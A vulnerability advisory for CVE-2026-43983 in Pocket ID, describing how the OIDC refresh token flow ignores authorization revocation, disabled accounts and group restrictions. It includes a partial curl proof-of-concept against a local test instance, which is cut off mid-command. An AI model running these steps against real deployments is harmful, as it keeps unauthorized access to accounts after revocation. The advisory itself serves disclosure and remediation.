CVE-2026-43983
Pocket ID: OIDC refresh token flow bypasses authorization revocation, account disabling, and group restrictions
Summary
# OIDC Refresh Token Flow Bypasses Authorization Revocation, Account Disabling, and Group Restrictions ## Summary The `createTokenFromRefreshToken` function (oidc_service.go:451) validates the refresh token's cryptographic integrity but does not re-validate the user's current authorization state before issuing new tokens. This allows three bypasses: 1. **Authorization revocation bypass**: After a user revokes an OIDC client's authorization, the client can continue refreshing tokens indefinitely because `RevokeAuthorizedClient` does not delete associated refresh tokens, and the refresh flow does not check if the authorization record still exists. 2. **Disabled user bypass**: After an admin disables a user account, pre-existing refresh tokens continue to work because the OIDC token endpoint does not check `user.Disabled`. Session-based access is properly blocked by auth middleware, but the OIDC refresh path bypasses it entirely. 3. **Group restriction bypass**: After removing a user from an OIDC client's allowed user groups, the refresh token continues to work because `createTokenFromRefreshToken` does not call `IsUserGroupAllowedToAuthorize`. Each refresh rotates the token with a fresh 30-day expiry, enabling perpetual access. ## Target - **Repository**: pocket-id/pocket-id - **Version**: HEAD (626adbf), also affects v2.5.0 and all versions with refresh token support ## Root Cause `createTokenFromRefreshToken` (oidc_service.go:451-547) performs the following checks on a refresh request: 1. Verify the signed refresh token JWT (line 457) -- **checked** 2. Verify client credentials (line 467) -- **checked** 3. Look up stored refresh token by hash, expiry, user_id, client_id (line 478-495) -- **checked** 4. Verify refresh token belongs to the requesting client (line 498) -- **checked** It does NOT check: - Whether a `UserAuthorizedOidcClient` record still exists for the user-client pair -- **MISSING** - Whether `user.Disabled` is false -- **MISSING** - Whether `IsUserGroupAllowedToAuthorize` passes for group-restricted clients -- **MISSING** (groups are loaded at line 481 via `Preload("User.UserGroups")` but never validated) Meanwhile, `RevokeAuthorizedClient` (line 1445-1471) only deletes the `UserAuthorizedOidcClient` record. It does not delete associated `OidcRefreshToken` records. There is no FK cascade between these tables (the FK cascade on `oidc_refresh_tokens` is only on user DELETE and client DELETE, not on authorization record deletion). ## Proof of Concept (Verified Live) Tested against Pocket ID HEAD (626adbf) running in Docker with e2etest build. All 20 test assertions pass. ### Variant 1: Authorization Revocation Bypass ```bash # Reset test DB curl -s -X POST http://localhost:1411/api/test/reset?skip-ldap=true # Authenticate as Tim (admin user, seeded OTA token) curl -s -c cookies.txt -X POST http://localhost:1411/api/one-time-access-token/HPe6k6uiDRRVuAQV # Authorize Nextcloud client AUTH_CODE=$(curl -s -b cookies.txt -X POST http://localhost:1411/api/oidc/authorize \ -H "Content-Type: application/json" \ -d '{"clientId":"3654a746-35d4-4321-ac61-0bdcff2b4055","scope":"openid profile email groups","callbackURL":"http://nextcloud/auth/callback"}' \ | python3 -c "import json,sys; print(json.load(sys.stdin)['code'])") # Exchange for tokens (including refresh token) TOKENS=$(curl -s -X POST http://localhost:1411/api/oidc/token \ -d "grant_type=authorization_code&code=$AUTH_CODE&client_id=3654a746-35d4-4321-ac61-0bdcff2b4055&client_secret=w2mUeZISmEvIDMEDvpY0PnxQIpj1m3zY&redirect_uri=http://nextcloud/auth/callback") REFRESH=$(echo $TOKENS | python3 -c "import json,sys; print(json.load(sys.stdin)['refresh_token'])") # User revokes authorization (returns 204) curl -s -o /dev/null -w "%{http_code}" -b cookies.txt \ -X DELETE http://localhost:1411/api/oidc/users/me/authorized-clients/3654a746-35d4-4321-ac61-0bdcff2b4055 # Output: 204 # ATTACK: Refresh token STILL WORKS after revocation curl -s -
Affected packages
| Ecosystem | Package | Affected versions | Fixed versions |
|---|---|---|---|
| Go | github.com/pocket-id/pocket-id/backend | — | 0.0.0-20260419162744-978ac87deffe |
Remediation: Upgrade to 0.0.0-20260419162744-978ac87deffe or later.
References
Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.
CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.
EPSS scores provided by the FIRST.org Exploit Prediction Scoring System.